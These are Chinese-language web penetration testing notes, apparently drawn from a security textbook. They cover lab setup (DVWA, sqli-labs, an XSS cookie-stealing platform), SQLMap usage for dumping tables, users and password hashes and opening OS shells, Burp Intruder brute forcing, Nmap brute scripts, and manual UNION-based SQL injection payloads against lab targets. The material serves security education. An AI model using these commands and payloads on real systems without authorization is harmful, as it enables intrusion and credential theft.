LANMP是Linux下Apache、Nginx、MySQL和PHP的应用环境,本节演示的是WDLinux的一款集成的安装包。
首先,下载需要的安装包,命令如下所示。
wegt http://dl.wdlinux.cn/files/lanmp_v3.tar.gz
下载完成后进行解压,解压文件的命令为tar zxvf lanmp_v3.tar.gz,运行环境如下图所示。
输入sh lanmp.sh命令运行LANMP,这时程序中会有5个选项,如下图所示:
选项1是安装Apache、PHP、MySQL、Zend、PureFTPd和phpMyAdmin服务;选项2是安装Nginx、PHP、MySQL、Zend、PureFTPd和phpMyAdmin服务:选项3是安装Nginx Apache、PHP、MySQL、Zend、PureFTPd和phpMyAdmin服务;选项4是安装所有服务:选项5是现在不安装。Zend Guard是一款PHP加密工具,经过加密的文件,务必安装Zend才能返回正常页面;PureFTPd是FTP空间服务;phpMyAdmin的作用是利用Web页面来管理MySQL数据库服务。这里可以根据自己需要的环境,自行选择。
在Kali和Ubuntu等系统中,输入sh lanmp.sh命令后提示有如下图所示错误:
这是因为系统的dash兼容性不好,而编译器常用的就是dash。所以可以输入以下命令,直接更该系统的编译器(shell)操作。
sudo dpkg-reconfigure dash
然后选择“
接着输入sudo sh lanmp.sh命令继续安装,如图所示:
这时选择你要安装的环境即可,安装的过程可能有点慢,安装完成后即可看到如下图所示的内容。在浏览器中访问IP和8080端口,输入默认的账号admin和密码wdlinux.cn,登陆成功后应先修改默认密码,防止被攻击。
WAMP是Windows中Apache、MySQL和PHP的应用环境,这里演示的是WampServer,在Web安全攻防这本书的同步网站下载其安装文件。在安装时按照弹出的对话框提示,单击“下一步”按钮。通常在安装WampServer时会遇到一个问题,提示找不到MSVCR110.dll解决方案是去错误提示信息!下载Msvce110-zip后,将32位的系统放到C:\Windows\System32目录下,重新安装一遍就能解决。如果遇到Apache启动失败的情况,应当先卸载Apache服务,然后重新安装Apache服务并启动,如下图所示:
启动成功后访问127.0.0.1,如下图所示,表示服务已经正常运行。
DVWA是一款开源的渗透测试漏洞练习平台,其中内涵XSS、SQL注入、文件上传、文件包含、CSRF和暴力破解等各个难度的测试环境。在本书的同步网站下载其安装文件。在安装时需要在数据库里创建一个数据库名,进入MySQL管理中的phpMyAdmin,打开http://127.0.0.1/phpMyAdmin/,创建名为“dvwa”的数据库,如下图示:
接着修改config文件下的config.inc.php中数据库的用户名、密码、数据库名,如下图所示:
修改完成后,保存并复制所有源码,粘贴在网站的根目录中,也就是www目录下,打开浏览器访问http://127.0.0.1/setup.php,单击“Create/Reset Database”按钮进行安装,安装成功后如下图所示,单击“login”即可登录,默认账号为admin,密码为password。
在安装过程中可能会出现红色的Disabled,修改PHP安装目录中的php.ini文件,找到allow_url_include,把Off改为On,然后重启PHP即可解决这个问题,如下图所示:
sqli-labs是一款学习SQL注入的开源平台,共有75种不同类型的注入,在本书的同步网站下载完压缩包后并解压,复制源码然后将其粘贴到网站的目录中,进入MySQL管理中的phpMyAdmin,打开http://127.0.0.1/phpMyAdmin/,在数据库中新建库名为“security”的数据库,并把源代码中的sqli-labs.sql文件导入数据库中,如下图所示:
打开sql-connections文件夹中的db-creds.inc文件,可以修改数据库的账号、密码、库名等配置信息,笔者修改完数据库密码后,打开浏览器访问127.0.0.1/sql1/,接着单击“Setup/reset Database for labs”,如下图所示:
笔者在www目录中创建了sql1文件夹,并把代码放在该目录下,单击“Setup/reset Database for labs”后会自动访问http://127.0.0.1/sql1/sql-connections/setup-db-php,如果出现如图2-15所示的信息,说明安装成功。
XSS测试平台是测试XSS漏洞获取cookie并接收Web页面的平台,XSS可以做JS能做的所有事,包括但不限于窃取cookie、后台增删改文章、钓鱼、利用XSS漏洞进行传播、修改网页代码、网站重定向、获取用户信息(如浏览器信息、IP地址)等。这里使用的是基于xsser.me的源码。在本书的同步网站下载相关文件并解压,然后将其放置在用来搭建XSS平台的网站目录下。安装过程如下所示。
进入MySQL管理界面中的phpMyAdmin界面,新建一个XSS平台的数据库。如xssplatform:设置其用户名和密码,如图2-16所示。
修改config-php中的数据库连接字段。包括用户名、密码和数据库名,访问 XSS平台的URL地址,将注册配置中的invite改为normal,要修改的配置如图2-17所示。
进入MySQL管理中的phpMyAdmin,选择XSS平台的数据库,导入源码包中的xssplatform.sql文件,然后执行以下SQL命令,将数据库中原有的URL地址修改为自己使用的URL,如图2-18所示。同时,也需要将authtest.php中的网址代码替换为自己的URL,如图2-19中用线框标出的部分。
UPDATE oc-module SETcode=REPLACE(code,'http://xsser.me’,’ http://yourdomain/xss’)
接下来访问搭建XSS平台的URL,首先注册用户,然后在phpMyAdmin里选择oc_user,将注册用户的adminLevel改为1,如图2-20所示。再将config-php 注册配置中的normal改为invite(使用邀请码注册,即关闭开放注册的功能)。
需要配置伪静态文件(htaccess),平台根目录下创建.htaccess文件,写入以下代码。
SQLMap是一个自动化的SQL注入工具,其主要功能是扫描、发现并利用给定URL的SQL注入漏洞,内置了很多绕过插件,支持的数据库是MySQL、Oracle、PostgreSQL、Microsoft SQL Server、Microsoft Access、IBM DB2、SQLite、Firebird、Sybase和SAP MaxDB。SQLMap采用了以下5种独特的SQL注入技术。
3.1.1 安装SQLMap
SQLMap的安装需要Python环境(不支持Python 3),本节使用的是Python 2.7.3,可在官网下载安装包并一键安装,安装完成后,复制Python的安装目录,添加到环境变量值中。
然后在SQLMap的官网(sqlmap: automatic SQL injection and database takeover tool)下载最新版本的SQLMap,下载到Python的安装目录下,并把SQLMap目录加到环境变量中。打开cmd,输入sqlmap.py命令后工具即可正常运行。
3.1.2 SQLMap入门
(1)判断是否存在注入
假设目标注入点是http://192.168.1.104/sql1/Less-1/?id=11,判断其是否存在注入的命令如下所示。
Sqlmap.py -u http://129.168.1.104/sql1/Less-1/?id=1
当注入点后面的参数大于等于两个小时,需要家双引号,如下所示。
Sqlmap.py -u “http://129.168.1.104/sql1/Less-1/?id=1&uid=2”
(2)判断文本中的请求是否存在注入
判断是否存在注入的命令如下所示。(-r一般在存在cookie注入时使用)
Sqlmap.py -r desktop/1.txt
(3) 查询当前用户的所有数据库
该命令是确定网站存在注入后,用于查询当前用户下的所有数据库。
Sqlmap.py -u http://129.168.1.104/sql1/Less-1/?id=1 –dbs
(4) 获取数据库中的表名
该命令的作用是查询完数据库后,查询指定数据库中所有的表名。
Sqlmap.py -u ”http://129.168.1.7/sql/union.php?id=1” -D dkeye –tables
(5) 获取表中的字段名
该命令的作用是查询完表名后,查询该表中所有的字段名。
Sqlmap.py -u ”http://129.168.1.7/sql/union.php?id=1” -D dkeye –T user_info --columns
(6) 获取字段内容
该命令是查询完字段名后,获取该字段中具体的数据信息。
Sqlmap.py -u ”http://129.168.1.7/sql/union.php?id=1” -D dkeye –T user_info -Cusername,password --dump
(7) 获取数据库的所有用户
该命令的作用是列出数据库的所有用户。在当前用户有权限读取包含所有用户的表的权限时,使用该命令就可以列出使用管理用户。
Sqlmap.py -u ”http://129.168.1.7/sql/union.php?id=1” --users
(8) 获取数据库用户的密码
该命令的作用是列出数据库用户的密码。如果当前用户有读取包含用户密码的权限,SQLMap会先列举出用户,然后列出Hash,并尝试破解。
Sqlmap.py -u ”http://129.168.1.7/sql/union.php?id=1” --passwords
(9) 获取当前网站数据库的名称
使用该命令可以列出当前的数据库。
Sqlmap.py -u ”http://129.168.1.7/sql/union.php?id=1” --current-db
(10) 获取当前网站数据库的用户名称
使用该命令可以列出当前网站使用的数据库用户。
Sqlmap.py -u ”http://129.168.1.7/sql/union.php?id=1” --current-user
3.1.3 SQLMap进阶:参数讲解
(1)--level 5:探测等级
参数—level 5指需要执行的测试等级,一共有5个等级(1~5),可不加level,默认是1.
(2)--is-dba:当前用户是否为管理权限
该命令用于查看当前账户是否为数据库管理员账户。
Sqlmap.py -u ”http://129.168.1.7/sql/union.php?id=1” --is-dba
(3) --roles:列出数据库管理员角色
该命令用于查看数据库用户的角色。如图所示:
(4)--referer: HTTP Referer头
SQLMap可以在请求中伪造HTTP中的referer,当—level参数设定为3或3以上时,会尝试对referer注入。可以使用referer命令来欺骗,如—referer 百度一下,你就知道。
(5)--sql-shell:运行自定义SQL语句
该命令用于执行指定的SQL语句。
Sqlmap.py -u ”http://129.168.1.7/sql/union.php?id=1” --sql-shell
(6)--os-cmd,--os-shell:运行任意操作系统命令
在数据库为MySQL、PostgreSQL或Microsoft SQL Server,并且当前用户有权限使用特定的函数时,如果数据库为MySQL、PostgreSQL,SQLMap上传一个二进制库,包含用户自定义的函数sys_exec()和sys_eval(),那么创建的这两个函数就可以执行系统命令。在Microsoft SQL Server中,SQLMap将使用xp_cmdshell储存过程,如果被禁用,则SQLMap会重新启用它;如果不存在,会自动创建。
用--so-shell参数可以模拟一个真实的Shell,输入想执行的命令。当不能执行多语句时,仍然可以使用INTO OUTFILE写进可写目录,创建一个Web后门。--so-shell支持ASP、ASP.NET、JSP和PHP四种语言。
(7)--file-read:从数据库服务器中读取文件
该命令用于读取执行文件,当数据库为MySQL、PostgreSQL或Microsoft SQL Server,并且当前用户有权限使用特定的函数时,读取的文件可以是文本,也可以是二进制文件。
$ python sqlmap.py -u
“http://192.168.136.129/sqlmap/mssql/iis/get_str2.asp?name=luther”\
--file=read “C:/example.exe” -v 1
(8)--file-write --file-dest:上传文件到数据库服务器中
该命令用于写入本地文件到服务器中,当数据库为MySQL、PostgreSQL或Microsoft SQL Server,并且当前用户有权限使用特定的函数时,读取的文件可以是文本,也可以是二进制文件。
3.1.4 SQLMap自带绕过脚本tamper的讲解
SQLMap在默认情况下除了使用CHAR()函数防止查询单引号,没有对置入的数据进行修改,读者还可以使用—tamper参数对数据修改WAF等设备,其中大部分脚本主要用正则模块替换共计载荷字符编码的方式尝试绕过WAF的检测规则,目录如下所示。
Sqlmap.py xxxxx –tamper “模块名”
目前官方提供53个绕过脚本,下面是一个tamper脚本的格式。
3.2.1 Burp Suite的安装
Burp Suite是一款集成化的渗透测试工具,包含了很多功能,可以帮助我们高效地完成对Web应用程序的渗透测试和攻击。
专业版与免费版的主要区别有一下三点。
Burp Suite是用Java语言开发的,运行时依赖JRE,需要安装Java环境才可以运行。用百度搜索JDK,选择安装包然后下载即可,打开安装包后单击“下一步”按钮进行安装(安装路径可以自己更改或者采用默认路径)。提示安装完成后,打开cmd,输入java-version进行查看,若返回版本信息则说明已经正确安装,如图3-18所示。
接下来配置环境变量,右击“计算机”,接着单击“属性”→“高级系统设置 3.2.2 Burp
→“环境变量”,然后新建系统变量,在弹出框的“变量名”处输入“JAVA_HOME”
在“变量值”处输入JDK的安装路径,如“C:\Program Files(x86)\Java\jdk1.8.0_112”, 然后单击“确定”按钮。
在“系统变量”中找到PATH变量,在“变量值”的最前面加上“%JAVA HOME%bin:",然后单击“确定”按钮。
在“系统变量”中找到CLASSPATH变量,若不存在则新建这个变量,在“变量值”的最前面加上“.;%JAVA_HOME%\lib\dtjar;%JAVA_HOME%\libtools.jar; ",然后单击“确定”按钮。
打开cmd,输入javac,若返回帮助信息,如图3-19所示,说明已经正确配置了环境变量。
3.2.2 Burp Suite 入门
Burp Suite代理工具是以拦截代理的方式,拦截使用通过代理的网络流量,如客户端的请求数据、服务器端的返回信息等。Burp Suite主要拦藏HTTP和HTTPS协议的流量,通过拦截,BurpSuite以中间人的方式对客户端的请求数据、服务端的返回息做各种处理。以达到安全测试的目的。
在日常工作中,最常用的Web客户端就是Web浏览器,我们可以通过设置代理位息,拦截Web浏览器的流量,并对经过Burp Suire代理的流量数据进行处理。Burp Suite运行后,BurpProxy默认本地代理端口为8080,如图3-21所示。
这里以Firefox浏览器为例,单击浏览器右上角“打开菜单”,依次单击“选项”à“常规”à“网络代理”à“设置”à“手动配置代理”,如图3-22所示,设置HTTF代理为127.0.0.1,端口为8080,与Burp Proxy中的代理一致。
1.Proxy
Burp Proxy是利用Burp开展测试流程的核心,通过代理模式,可以让我们拦截、查看、修改所有在客户端与服务端之间传输的数据。
*Burp Proxy的拦截功能主要由Intercept选项卡中的Forward、Drop、Interception is on/off和Action构成,它们的功能如下所示。
*Forward表示将拦截的数据包或修改后的数据包发送至服务器端。 Drop表示丢弃当前拦截的数据包。
*Interception is on表示开启拦截功能,单击后变为Interception is off,表示关闭拦截功能。
*单击Action按钮,可以将数据包进一步发送到Spider、Scanner、Repeater、 Intruder等功能组件做进一步的测试,同时也包含改变数据包请求方式及其 body的编码等功能。
打开浏览器,输入需要访问的URL并按回车键,这时将看到数据流量经过Burp Proxy并暂停,直到单击Forward按钮,才会继续传输下去。如果单击了Drop按钮,这次通过的数据将丢失,不再继续处理。
当Burp Suite拦截的客户端和服务器交互之后,我们可以在Burp Suite的消息分析选项中查看这次请求的实体内容、消息头、请求参数等信息。Burp有四种消息类型显示数据包:Raw、Params、Headers和Hex。
*Raw主要显示Web请求的raw格式,以纯文本的形式显示数据包,包含请求
地址、HTTP协议版本、主机头、浏览器信息、Accept可接受的内容类型字符集、编码方式、cookie等,可以通过手动修改这些信息,对服务器端进行渗透测试
*Params主要显示客户端请求的参数信息,包括GET或者POST请求的参数、 cookie参数。可以通过修改这些请求参数完成对服务器端的渗透测试。
*Headers中显示的是数据包中的头信息,以名称、值的形式显示数据包。
*Hex对应的是Raw中信息的二进制内容,可以通过Hex编辑器对请求的内容进行修改,在进行00截断时非常好用,如图3-23所示
2.Spider
Spider的蜘蛛爬行功能可以帮助我们了解系统的结构,其中Spider爬取到的内容将在Target中展示,如图3-24所示,界面左侧为一个主机和目录树,选择具体某一个分支即可查看对应的请求与响应。
4.Decoder
Decoder的功能比较简单,它是Burp中自带的编码解码及散列转换的工具,能对原始数据进行各种编码格式和散列的转换。
Decoder的界面如图3-25所示。输入域显示的是需要编码/解码的原始数据,此处可以直接填写或粘贴,也可以通过其他Burp工具上下文菜单中的“Send to Decoder选项发送过来:输出域显示的是对输入域中原始数据进行编码/解码的结果。无论是输入域还是输出域都支持文本和Hex这两种格式,编码解码选项由解码选项(Decode as)、编码选项(Encode as)、散列(Hash)构成。在实际使用时,可以根据场景的需要进行设置。
对编码解码选项面言,目前支持URL、HTML、Base64、ASCII、十六进制、八进制、二进制和GZIP共八种形式的格式转换。Hash散列支持SHA、SHA-224、 SHA-256、SHA-384、SHA-512、MD2、MD5格式的转换。更重要的是,对同一个数据,我们可以在Decoder界面进行多次编码、解码的转换。
3.2.3 Burp Suite进阶
3.2.3.1 Scanner
Burp Scanner主要用于自动检测Web系统的各种漏洞。本小节介绍Burp Scanner的基本使用方法,在实际使用中可能会有所改变,但大体环节如下。
首先、确认BurpSute正常启动并完成浏览器代理的配置,然后进入Burp Proxy.关闭代理拦截功能,快速浏览需要扫搞的域或URL模块,此时在默认情况下,Burp Scanner会扫描通过代理服务的请求,并对请求的消息进行分析来辨别是否存在系统漏润、而且当我们打开Burp Target时,也会在站点地图中显示请求的URL树。
我们随便找一个网站进行测试,选择BurpTarget的站点地图选项下的链接,在其链接URL上右击选择“Actively scanthis host",此时会弹出过滤设置,保持默认选场即可扫描整个域,如图3-26所示。
也可以在Proxy下的HTTP history中,选择某个节点上的链接URL并右击选择Do an active scan进行扫描,如图3-27所示。
这时,Burp Scanner开始扫描,在Scanner界面下双击即可看到扫描结果,如图3-28所示。
我们也可以在扫描结果中选中需要进行分析的部分,将其发送到repeater模块中进行模拟提交分析和验证,如图3-29所示。
当scanner扫描完成后,可以右击Burp Target站点地图选项下的链接,依次选择“issues”→“Report issues”选项,然后导出漏洞报告,如图3-30所示。
然后将漏洞报告以html文件格式保存,结果如图3-31所示。
通过以上操作步骤我们可以学习到:Burp Scanner主要有主动扫描和被动扫描两种扫描方式。
1.主动扫描(Active Scanner)
当使用主动扫描模式时,Burp会向应用发送新的请求并通过Payload验证漏洞。这种模式下的操作会产生大量的请求和应答数据。直接影响服务端的性能,通常用于非生产环境。主动扫描适用于以下这两类漏洞。
*客户端的漏洞,如XSS、HTTP头注入、操作重定向。
*服务端的漏洞,如SQL注入、命令行注入、文件遍历。
对第一类漏洞,Burp在检测时会提交input域,然后根据应答的数据进行解析在检测过程中,Burp会对基础的请求信息进行修改,即根据漏洞的特征对参数进行修改,模拟人的行为,以达到检测漏洞的目的:对第二类漏洞,以SQL注入为例,服务端有可能返回数据库错误提示信息,也有可能什么都不反馈。Burp在检测过程中会采用各个技术验证漏洞是否存在,例如诱导时间延迟、强制修改Boolean值、与模糊测试的结果进行比较,以提高漏洞扫描报告的准确性。
2.被动扫描(Passive Scanning)
当使用被动扫描模式时,Burp不会重新发送新的请求,只是对已经存在的请求和应答进行分析,对服务端的检测来说,这比较安全,通常适用于生产环境的检潮。一般来说,下列渴洞在被动模式中容易被检测出来。
*提交的密码为未加密的明文。
*不安全的cookie的属性。例如缺少HnpOnly和安全标志。
*cookie的范围缺失
*跨域脚本包含和站点引用泄露表单值自动填充,尤其是密码。
*SSL保护的内容缓存。目录列表。
*提交密码后应答延迟。 session令牌的不安全传输。
*敏感信息泄露,例如内部IP地址、电子邮件地址、堆栈跟踪等信息泄露。
*不安全的ViewStatc的配置
*错误或不规范的Content-Type指令
虽然被动扫描模式相比主动模式有很多不足,但同时也具有主动模式不具备的优点。除了对服务端的检测比较安全,当某种业务场景的测试每次都会破坏业务场景的某方面功能时,可以使用被动扫描模式验证是否存在漏洞,以减少测试的风险。
3.2.3.2 Intruder
Intruder是一个定制的高度可配置的工具,可以对Web应用程序进行自动化攻击,如通过标识符枚举用户名、ID和账户号码,模糊测试,SQL注入,跨站,目录遍历等。
它的工作原理是Intruder在原始请求数据的基础上,通过修改各种请求参数获取不同的请求应答。在每一次请求中,Intruder通常会携带一个或多个有效攻击载荷(Payload),在不同的位置进行攻击重放,通过应答数据的比对分析获得需要的特征数据。Burp Intruder通常被应用于以下场景。
*标识符枚举。Wcb应用程序经常使用标识符引用用户、账户、资产等数据信息。例如,用户名、文件ID和账户号码。
*提取有用的数据。在某些场景下,不是简单地识别有效标识符,而是通过简单标识符提取其他数据。例如,通过用户的个人空间ID获取所有用户在其个人空间的名字和年龄。
*模糊测试。很多输入型的漏洞(如SQL注入、跨站点脚本和文件路径遍历)可以通过请求参数提交各种测试字符串,并分析错误消息和其他异常情况,来对应用程序进行检测。受限于应用程序的大小和复杂性,手动执行这个测试是一个耗时且烦琐的过程,因此可以设置Payload,通过Burp Intruder自动化地对Web应用程序进行模糊测试。
下面将演示利用Intruder模块爆破无验证码和次数限制的网站的方法,如图3-32所示,这里使用方法只是为了实验,读者不要将其用于其他非法用途。前提是你得有比较好的字典,我们准备好的字典如图3-33所示。需要注意的是,Burp Suite的文件不要放在中文的路径下。
然后选择要进行暴力破解的参数值,将pass参数选中,单击“AddS”按钮,这只对一个参数进行暴力破解,所以攻击类型使用sniper即可,如图3-36所示。这里梦注意的是,如果要同时对用户名和密码进行破解,可以同时选中user和pass参数,日选择交叉式clusterbomb模式进行暴力破解。
*Sniper模式使用单一的Payload组。它会针对每个位置设置Payload。这种攻击类型适用于对常见漏洞中的请求参数单独进行Fuzzing测试的情景。攻击中的请求总数应该是position数量和Payload数量的乘积。
*Batteringram模式使用单一的Payload组。它会重复Payload并一次性把所有相同的Payload放入指定的位置中。这种攻击适用于需要在请求中把相同的输入放到多个位置的情景。请求的总数是Payload组中Payload的总数。
*Pitchfork模式使用多个Payload组。攻击会同步迭代所有的Payload组,把 Payload放入每个定义的位置中。这种攻击类型非常适合在不同位置中需要插入不同但相似输入的情况。请求的数量应该是最小的Payload组中的 Payload数量。
*Cluster bomb模式会使用多个Payload组。每个定义的位置中有不同的 Pavload组。攻击会迭代每个Payload组,每种Payload组合都会被测试一遍这种攻击适用于在位置中需要不同且不相关或者未知输入攻击的情景。攻击请求的总数是各Payload组中Payload数量的乘积。
这里对Status或Length的返回值进行排序,查看是否有不同之处。如果有,查看返回包是否显示为登录成功,如果返回的数据包中有明显的登录成功的信息,则说明已经破解成功,如图3-39所示。
Burp Repeater是一个手动修改、补发个别HTTP请求,并分析它们的响应的工具。它最大的用途就是能和其他Burp Suite工具结合起来使用。可以将目标站点地图、BurpProxy浏览记录、BurpIntruder的攻击结果,发送到Repeater上,并手动调整这个请来来对漏洞的探测或攻击进行微调。
Repeatcr分析选项有4种:Raw、Params、Headcrs和Hex
*Raw;显示纯文本格式的消息。在文本面板的底部有一个搜索和加亮的功能,可以用来快速定位需要寻找的字符串,如出错消息。利用搜索栏左边的弹出项,能控制状况的灵敏度,以及是否使用简单文本或十六进制进行搜索。
*Params:对于包含参数(URL查询字符串、cookie头或者消息体)的请求, Params选项会把这些参数显示为名字/值的格式,这样就可以简单地对它们进行查看和修改了。
*Headers:将以名字/值的格式显示HTTP的消息头,并且以原始格式显示消息体
*Hex:允许直接编辑由原始二进制数据组成的消息。
在渗透测试过程中,我们经常使用Repeater进行请求与响应的消息验证分析,例如修改请求参数、验证输入的漏洞;修改请求参数、验证逻辑越权;从拦截历史记录中捕获特征性的请求消息进行请求重放。本节将抓包发送到Repeater,如图3-40所示。
在Repcacr的操作界面中,左边的Rcquem为请求消息区,右边的Responsc万应省劳念区。请表清息区显示的是客户端发送的请求消息的详细信息。当我们编辑完请求消意后,单击按即可发送请求给服务端,如图3-41所示。
应答消息区显示的是对对应的请求消息单击“GO"按钮后,服务端的反馈消息。通过修改请求消息的参数来比对分析每次应答消息之间的差异,能更好地帮助我们分析系统可能存在的漏洞,如图3-42所示。
3.2.3.4 Comparer
BurpComparer在BurpSuite中主要提供一个可视化的差异比对功能,来对比分两次数据之间的区别,使用到的场合有:
*枚举用户名的过程中,对比分析登录成功和失败时,服务端反馈结果的别。
*使用Intruder进行攻击时,对于不同的服务端响应,可以很快分析出两次应的区别在哪里。
*进行SQL注入的盲注测试时,比较两次响应消息的差异,判断响应结果与注入条件的关联关系。
使用Comparer时有两个步骤,先是数据加载,如图3-43所示,然后是差异分析如图3-44所示。
Comparer数据加载的常用方式如下所示。
*从其他Burp工具通过上下文菜单转发过来。
*直接粘贴。
*从文件里加载。
加载完毕后,如果选择两次不同的请求或应答消息,则下发的比较按钮将被激活,此时可以选择文本比较或字节比较。
3.2.3.5 Sequencer
Burp Sequencer是一种用于分析数据样本随机性质量的工具。可以用它测试应用程序的会话令牌(Session token)、密码重置令牌是否可预测等场景,通过Sequencer的数据样本分析,能很好地降低这些关键数据被伪造的风险。
Burp Sequencer主要由信息截取(LiveCapture)、手动加载(Manual Load)和选项分析(Analysis Options)三个模块组成。
在截取信息后,单击Load按钮加载信息,然后单击“Analyze now”按钮进行分析,如图
主机信息收集技术——基础知识
黑客攻击的一般过程:
信息收集:
主要收集目标主机的相关信息,主要包括端口、服务、漏洞等信息。信息收集手段多样,可借助工具也多种多样。
端口扫描:Nmap
Nmap (网络映射器)是Gordon Lyon最初编写的一种安全扫描器,用于发现计算机网络上的主机和服务,从而创建网络的“映射”。为了实现其目标,Nmap将特定数据包发送到目标主机,然后分析响应.NMAP强大的网络工具,用于枚举和测试网络。
扫描器之王
主机信息收集技术——Nmap
nmap使用教程Nmap简介和使用方法_NJUPTOceanMa的博客-CSDN博客_nmap
https://blog.csdn.net/m1585761297/article/details/80015726
nmap 192.168.1.1
nmap -A –T4 -v 192.168.1.1
-A 开启操作系统识别和版本识别功能
nmap没法判断操作系统类型时,会把扫描的指纹特征显示出来,让使用者自己判断。
-T 0-5档,设置扫描的快慢,0最慢,5最快;
级别越高,发包量越大,对网络带宽要求越高,另外扫描太快,容易被安全设备发现;
一般选择T4
-v 显示信息的级别,-vv 显示更详细的信息
192.168.1.1 扫描单个目标
192.168.1.1 192.168.1.5 … 扫描多个目标
192.168.1.1/24 扫描C段 或者 192.168.1.1-254
nmap -A –T4 -v -iL ~/targets.txt
-iL 表示要扫描的目标(IP地址或主机名)位于一个文档中
nmap -A –T4 -v 192.168.1.1/24 --exclude 192.168.1.100
--exclude 192.168.1.100 表示排除在外的目标,减少目标 节省时间
nmap -A –T4 -v 192.168.1.1/24 --excludefile ~/targets.txt
--excludefile ~/targets.txt 表示排除在外的目标包含在一个文档中
nmap 192.168.1.1 -p 80,443
-p 80,443 表示扫描特定(指定对应的)端口,聚焦我们的目标 节省扫描时间。如果不用-p指定端口, 默认扫描1000个常用端口 ,全端口扫描是很费时的,扫描一个主机可能需要几个小时( 2的16次方,一般用到的是1到65535,其中0不使用。系统知名端口(Well-Known Ports)为0~1023,这些端口只有系统特许的进程才能使用;1024-49151为用户端口(Registered ports)。 49152-65535称为动态端口(Dynamic Ports)。)
nmap --traceroute 192.168.1.1
--traceroute 探测路由
nmap -O 192.168.1.1
-O 对目标进行指纹识别
nmap -sV 192.168.1.1
-sV 对具体小版本进行探测
nmap -sF -T4 192.168.1.1
-sF 利用fin包对端口进行扫描的技术,识别是否被关闭,收到RST包,说明被关闭。否则是open 或者fileter状态。
状态 |
说明 |
open |
应用程序在该端口接收 TCP 连接或者 UDP 报文 |
closed |
关闭的端口对于nmap也是可访问的, 它接收nmap探测报文并作出响应。但没有应用程序在其上监听 |
filtered |
由于包过滤阻止探测报文到达端口,nmap无法确定该端口是否开放。过滤可能来自专业的防火墙设备, 路由规则 或者主机上的软件防火墙 |
unfiltered |
未被过滤状态意味着端口可访问,但是nmap无法确定它是开放还是关闭。 只有用于映射防火墙规则集的 ACK 扫描才会把端口分类到这个状态 |
open | filtered |
无法确定端口是开放还是被过滤, 开放的端口不响应就是一个例子。没有响应也可能意味着报文过滤器丢 弃了探测报文或者它引发的任何反应。UDP,IP协议, FIN, Null 等扫描会引起。 |
主机信息收集技术——Nmap进阶
扫描脚本介绍:
位置 : nmap安装目录/scripts/ 例如/usr/share/nmap/scripts
脚本类型:
ll /usr/share/nmap/scripts | grep ^- | wc -l
使用介绍
nmap --script=auth 192.168.137.*
负责处理鉴权证书(绕开鉴权)的脚本,也可以作为检测部分应用弱口令
nmap --script=brute 192.168.137.*
提供暴力破解的方式 可对数据库,smb,snmp等服务进行简单密码的暴力猜解
nmap –script=default 192.168.137.* 或者 nmap -sC 192.168.137.*
默认的脚本扫描,主要是搜集各种应用服务的信息,收集到后,可再针对具体服务进行攻击。
nmap --script=vuln 192.168.137.*
检查是否存在常见漏洞
nmap -n -p445 --script=broadcast 192.168.137.4
在局域网内探查更多服务开启状况
主机信息收集技术——zenmap
Nmap图形化界面:
SQL注入就是指Web应用程序对用户输入数据的合法性没有判断,前端传入后端的参数是攻击者可控的,并且参数带入数据库查询,攻击者可以通过构造不同的SOI语句来实现对数据库的任意操作。
开发人员可用动态SQL语句创建通用、灵活的应用。
SQL注入漏洞的产生需要满足以下两个条件:
当传入的ID参数为and 1=1时,执行代码如下:
Select * from users where id = 1 and 1=1
当ID参数存在SQL注入漏洞,攻击者可以进一步拼接SQL语句进行攻击,致使数据库信息泄露,甚至进一步获取服务器权限等。
在实际环境中,凡是满足上述两个条件的参数皆可能存在SQL注入漏洞,因此开发者需秉持“外部参数皆不可信的原则”进行开发。
MySQL5.0版本后,MySQL默认在数据库中存放一个“information_schema”的数据库,在该库中,有三个表名,分别是SCHEMATA、TABLES和 COLUMNS。
SCHEMATA表存储该用户创建的所有数据库的库名,如图下图所示。该表中记录数据库库名的字段名为SCHEMA_NAME。
TABLES表存储该用户创建的所有数据库的库名和表名,表中记录数据库库名和表名的字段名分别为TABLE_SCHEMA和TABLE_NAME。
COLUMNS表存储该用户创建的所有数据库的库名、表名和字段名,表中记录数据库库名、表名和字段名的字段名为TABLE SCHEMA、TABLE NAME和COLUMN_ NAME.
常用的MySQL查询语句和函数如下所示。
在不知道任何条件时,语句如下所示:
SELECT 要查询的字段名FROM库名.表名
在知道一条已知条件时:
SELECT要查询的字段名FROM 库名.表名WHERE已知条件的字段名=’已知条件的值’
在知道两条已知条件时:
SELECT 要查询的字段名FROM 库名.表名WHERE已知条件1的字段名=’已知条件1的值’AND 已知条件2的字段名=’已知条件2的值’
limit的使用格式为limit m,n,其中m是指记录开始的位置,从0开始,表示第一条记录;n是指取n条记录。例如limit0,1表示从第一条记录开始,取一条记录不使用limit和使用limit查询的结果如图1和图2所示,可以很明显地看出二者的区别。
图1
图2
3.需要记住的几个函数
全 .database():当前网站使用的数据库。
防 .version():当前MySQL的版本。
user)):当前MySQL的用户。
4.注释符
在MySQL中,常见注释符的表达方式:#或--空格或/**/。
5.内联注释
内联注释的形式:/*!code*/内联注释可以用于整个SQL语句中,用来执行我们的SQL语句,例:
Index.php?id=-15/*!UNION*//*! SELECT*/1,2,3。
Union注入攻击的测试地址:http://www.ccctfcn/unionphp?id=1.
再次访问时,在URL后添加一个单引号,页面返回的结果与id=1的结果不同。访问id=1 and 1=1,由于and 1=1为真,所以页面应返回与id=1相同的结果。访问id=1 and 1=2,由于and 1=2为假,所以页面应返回与id=1不同的结果。可以得出该网站可能存在SQL注入漏洞的结论。接着,使用order by1-99语句查询该数据表的字段数量,可以理解为order by=1-99。
在数据库中查询参数ID对应的内容,然后将数据库的内容输出到页面,由于是将数据输出到页面上的,所以可以使用Union注入,且通过order by查询结果,得到字段数为3,所以Union注入的语句如下所示。
union select 1,2,3
当页面成功执行,但没有返回union select的结果,这是由于代码只返回第一条结果,所以union select获取的结果没有输出到页面。
可以通过设置参数ID值,让服务端返回union select的结果,例如,把ID的值设置为-1,这样数据库中没有id=-1的数据,所以会返回union select的结果。返回的结果为2:3,意味着在union select1.2,3中,2和3的位置可以输入MySQL语句。尝试在2的位置查询当前数据库名(使用database()函数)访问id=1 union select 1,database(),3,页面成功返回了数据库信息。
之后输入以下命令查询表名:
select table_name from information_schema.tables where table_schema=’sgl’ limit 0,1; 尝试在2的位置粘贴语句,这里需要加上括号,如图1,页面返回了数据库的第一个表名。如果需要看第二个表名,则修改limit中的第一位数字,如使用limit1,1就可以获取数据库的第二个表名.
图1
现在,所有的表名全部查询完毕,已知库名和表名,开始查询字段名,这里以emails表名为例,查询语句如下所示
select column_name from information_schema.columns where table_schema=’sql' and table_name=’emails’ limit 0,1;
